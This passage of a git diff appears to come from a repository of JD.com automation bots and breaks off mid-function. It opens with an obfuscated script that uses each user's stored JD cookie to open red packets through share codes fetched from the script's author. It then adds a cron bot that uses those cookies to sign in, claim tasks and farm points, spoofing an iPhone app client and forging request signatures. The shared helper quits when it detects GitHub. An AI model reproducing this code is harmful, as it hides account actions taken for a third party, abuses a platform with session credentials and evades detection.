Date(),'timeout':0x2710,'headers':{'User-Agent':_0x3062b9[_0x32fc('4a','v^Dn')]}};if($[_0x32fc('4b','!8GV')]()&&process[_0x32fc('4c','V@6B')][_0x32fc('4d','ao@#')]&&process[_0x32fc('4e','z2p&')][_0x32fc('4f','V@6B')]){if(_0x3062b9[_0x32fc('50','8b4z')](_0x3062b9[_0x32fc('51','zJ@Q')],_0x3062b9[_0x32fc('52','yD$2')])){const _0xf58b1e=_0x3062b9[_0x32fc('53','L#FM')](require,_0x3062b9[_0x32fc('54',']IHt')]);const _0x3e4d21={'https':_0xf58b1e[_0x32fc('55','ao@#')]({'proxy':{'host':process[_0x32fc('56','eksX')][_0x32fc('57','J@O4')],'port':_0x3062b9[_0x32fc('58','gbRg')](process[_0x32fc('4e','z2p&')][_0x32fc('59','08or')],0x1)}})};Object[_0x32fc('5a','ao@#')](_0x3e8b7d,{'agent':_0x3e4d21});}else{const _0x3a8f13=_0x3062b9[_0x32fc('5b','c&aQ')](require,_0x3062b9[_0x32fc('5c','!8GV')]);const _0x4056fe={'https':_0x3a8f13[_0x32fc('5d','qOy^')]({'proxy':{'host':process[_0x32fc('5e','T707')][_0x32fc('5f','08or')],'port':_0x3062b9[_0x32fc('60','CJ%c')](process[_0x32fc('61','I)et')][_0x32fc('62','e5VK')],0x1)}})};Object[_0x32fc('63','v^Dn')](_0x3e8b7d,{'agent':_0x4056fe});}}$[_0x32fc('64','T707')](_0x3e8b7d,async(_0x37b988,_0x205a76,_0x3a802d)=>{if(_0x3062b9[_0x32fc('65','ao@#')](_0x3062b9[_0x32fc('66','e5VK')],_0x3062b9[_0x32fc('67',')@iT')])){try{if(_0x37b988){}else{if(_0x3062b9[_0x32fc('68','Sh)R')](_0x3062b9[_0x32fc('69','eksX')],_0x3062b9[_0x32fc('6a','c&aQ')])){if(_0x37b988){}else{if(_0x3a802d)_0x3a802d=JSON[_0x32fc('6b','V@6B')](_0x3a802d);}}else{if(_0x3a802d)_0x3a802d=JSON[_0x32fc('6c','Dz@Y')](_0x3a802d);}}}catch(_0x3ff2c3){}finally{_0x3062b9[_0x32fc('6d','1bsI')](_0xa1939c,_0x3a802d);}}else{var _0x283ae7={'UATPO':function(_0x3cb4c7){return _0x860cbf[_0x32fc('6e','vjGQ')](_0x3cb4c7);}};const _0x5272c9={'Host':_0x860cbf[_0x32fc('6f','TzqP')],'Origin':_0x860cbf[_0x32fc('70','1bsI')],'Accept':_0x860cbf[_0x32fc('71','*Lb8')],'User-Agent':_0x860cbf[_0x32fc('72','@RYp')],'Referer':_0x860cbf[_0x32fc('73','J@O4')],'Accept-Language':_0x860cbf[_0x32fc('74','JpDz')],'Cookie':cookie};const _0x5950a3=_0x32fc('75','X]Dh')+packetId+_0x32fc('76','JpDz');const _0x4cb175={'url':_0x32fc('77','*Wf!')+ +new Date(),'method':_0x860cbf[_0x32fc('78','I)et')],'headers':_0x5272c9,'body':_0x5950a3};return new Promise(_0x3c152e=>{$[_0x32fc('31','z2p&')](_0x4cb175,(_0x2986f7,_0x3e3759,_0x259588)=>{_0x283ae7[_0x32fc('79','v^Dn')](_0x3c152e);});});}});await $[_0x32fc('7a','kafH')](0x2710);_0x3062b9[_0x32fc('7b','TzqP')](_0xa1939c);});}async function helpOpenRedPacket(){var _0x1bd264={'ailcJ':function(_0x29cb4c,_0x2bc31e){return _0x29cb4c(_0x2bc31e);},'llYTu':_0x32fc('7c','*qbp'),'qaYSI':_0x32fc('7d','L#FM'),'FByLZ':_0x32fc('7e','X]Dh'),'lrjcD':function(_0x595961,_0x4e5982){return _0x595961(_0x4e5982);}};let _0x4fba74=await _0x1bd264[_0x32fc('7f',')@iT')](getAuthorShareCode2,_0x1bd264[_0x32fc('80','vjGQ')]),_0x1656b9=await _0x1bd264[_0x32fc('81','!8GV')](getAuthorShareCode2,_0x1bd264[_0x32fc('82','qOy^')]);if(!_0x4fba74)_0x4fba74=await _0x1bd264[_0x32fc('83','@[C)')](getAuthorShareCode2,_0x1bd264[_0x32fc('84','vjGQ')]);$[_0x32fc('85','v^Dn')]=[..._0x4fba74||[],..._0x1656b9||[]];for(let _0x3ee027 of $[_0x32fc('86','e5VK')]){await _0x1bd264[_0x32fc('87',')@iT')](openRedPacket,_0x3ee027);}}function openRedPacket(_0x185f9b){var _0x4386ad={'ORiNB':function(_0x19648b,_0x5c39fa){return _0x19648b*_0x5c39fa;},'flHDp':function(_0x71b8b7,_0x36d0cd){return _0x71b8b7+_0x36d0cd;},'nbSgn':function(_0x4e8560,_0x336f96){return _0x4e8560!==_0x336f96;},'pfoOM':_0x32fc('88','Dz@Y'),'Jkhdx':_0x32fc('89','X]Dh'),'cnLRa':function(_0x2d5cb7){return _0x2d5cb7();},'gDboC':function(_0x36aaa7){return _0x36aaa7();},'kkjoT':function(_0x16f97a,_0x1d5cf5){return _0x16f97a!==_0x1d5cf5;},'HMYOb':_0x32fc('8a','NM9s'),'TNXWe':_0x32fc('8b','e5VK'),'LjGHZ':_0x32fc('8c',')@iT'),'IGfxH':_0x32fc('8d','JpDz'),'LNqPx':_0x32fc('8e','c&aQ'),'iTqvT':_0x32fc('8f','@RYp'),'Jlhhv':_0x32fc('90','L#FM'),'uzAwk':_0x32fc('91','%uUE')};const _0x3d5475={'Host':_0x4386ad[_0x32fc('92','v^Dn')],'Origin':_0x4386ad[_0x32fc('93','8[68')],'Accept':_0x4386ad[_0x32fc('94','zJ@Q')],'User-Agent':_0x4386ad[_0x32fc('95','z2p&')],'Referer':_0x4386ad[_0x32fc('96','eksX')],'Accept-Language':_0x4386ad[_0x32fc('97','kafH')],'Cookie':cookie};const _0x42183b=_0x32fc('98','*Lb8')+_0x185f9b+_0x32fc('99',']IHt');const _0x4d6c6c={'url':_0x32fc('9a','@[C)')+ +new Date(),'method':_0x4386ad[_0x32fc('9b','T707')],'headers':_0x3d5475,'body':_0x42183b};return new Promise(_0x4149fb=>{var _0x34c401={'qbKbx':function(_0xcf8371){return _0x4386ad[_0x32fc('9c','CJ%c')](_0xcf8371);}};if(_0x4386ad[_0x32fc('9d','ub@R')](_0x4386ad[_0x32fc('9e','JpDz')],_0x4386ad[_0x32fc('9f','@[C)')])){_0x34c401[_0x32fc('a0','@RYp')](_0x4149fb);}else{$[_0x32fc('a1','QRzL')](_0x4d6c6c,(_0x1f393c,_0x36a11b,_0x58b81b)=>{var _0x8b6fcc={'cPSQV':function(_0x351cea,_0x711c4b){return _0x4386ad[_0x32fc('a2','Bk0r')](_0x351cea,_0x711c4b);},'kvrHN':function(_0x133652,_0x269cc1){return _0x4386ad[_0x32fc('a3','L#FM')](_0x133652,_0x269cc1);}};if(_0x4386ad[_0x32fc('a4','@[C)')](_0x4386ad[_0x32fc('a5','V@6B')],_0x4386ad[_0x32fc('a6','Sh)R')])){_0x4386ad[_0x32fc('a7','QRzL')](_0x4149fb);}else{index=Math[_0x32fc('a8','!8GV')](_0x8b6fcc[_0x32fc('a9','yD$2')](_0x8b6fcc[_0x32fc('aa','Bk0r')](i,0x1),Math[_0x32fc('ab','DP9^')]()));temp=shuffled[index];shuffled[index]=shuffled[i];shuffled[i]=temp;}});}});};_0xodT='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/jd_dwapp.js b/jd_dwapp.js new file mode 100644 index 0000000..b568542 --- /dev/null +++ b/jd_dwapp.js @@ -0,0 +1,261 @@ +/* +积分换话费 +入口:首页-生活·缴费-积分换话费 +update:20220530 +cron 33 7 * * * jd_dwapp.js +*/ + +const $ = new Env('积分换话费'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.UUID = getUUID('xxxxxxxxxxxxxxxx'); + await main() + } + } +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + $.log("去签到") + await usersign() + await tasklist(); + if ($.tasklist) { + for (let i = 0; i < $.tasklist.length; i++) { + console.log(`去领取${$.tasklist[i].taskDesc}任务`) + await taskrecord($.tasklist[i].id) + await $.wait(3000); + console.log(`去领取积分`) + await taskreceive($.tasklist[i].id) + } + } +} +async function taskrecord(id) { + enc = await sign(id + "1") + let body = { "id": id, "agentNum": "m", "taskType": 1, "followChannelStatus": "", ...enc } + return new Promise(resolve => { + $.post(taskPostUrl("task/dwRecord", body), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data) { + if (data.code === 200) { + if (data.data.dwUserTask) { + $.log(" 领取任务成功") + } else { + $.log(" 此任务已经领取过了") + } + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +async function taskreceive(id) { + enc = await sign(id) + let body = { "id": id, ...enc } + return new Promise(resolve => { + $.post(taskPostUrl("task/dwReceive", body), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data) { + if (data.code === 200 && data.data.success) { + console.log(` 领取任务积分:获得${data.data.giveScoreNum}`) + } else if (data.code === 200 && !data.data.success) { + console.log(" 积分已经领取完了") + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function usersign() { + body = await sign() + return new Promise(resolve => { + $.post(taskPostUrl("dwSign", body), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data) { + if (data.code === 200) { + console.log(`签到成功:获得积分${data.data.signInfo.signNum}\n`) + } else { + console.log("似乎签到完成了\n") + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function tasklist() { + body = await sign() + return new Promise(resolve => { + $.post(taskPostUrl("task/dwList", body), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data) { + $.tasklist = data.data + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `https://dwapp.jd.com/user/${function_id}`, + body: JSON.stringify(body), + headers: { + "Host": "dwapp.jd.com", + "Origin": "https://prodev.m.jd.com", + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": `jdapp;iPhone;10.1.0;13.5;${$.UUID};network/wifi;model/iPhone11,6;addressid/4596882376;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + "Accept-Language": "zh-cn", + "Referer": "https://prodev.m.jd.com/mall/active/eEcYM32eezJB7YX4SBihziJCiGV/index.html", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/json", + "Cookie": cookie, + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} + +async function sign(en) { + time = new Date().getTime(); + let encStr = en || ''; + const encTail = `${time}e9c398ffcb2d4824b4d0a703e38yffdd`; + encStr = CryptoJS.MD5(encStr + encTail).toString() + return { "t": time, "encStr": encStr } +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), 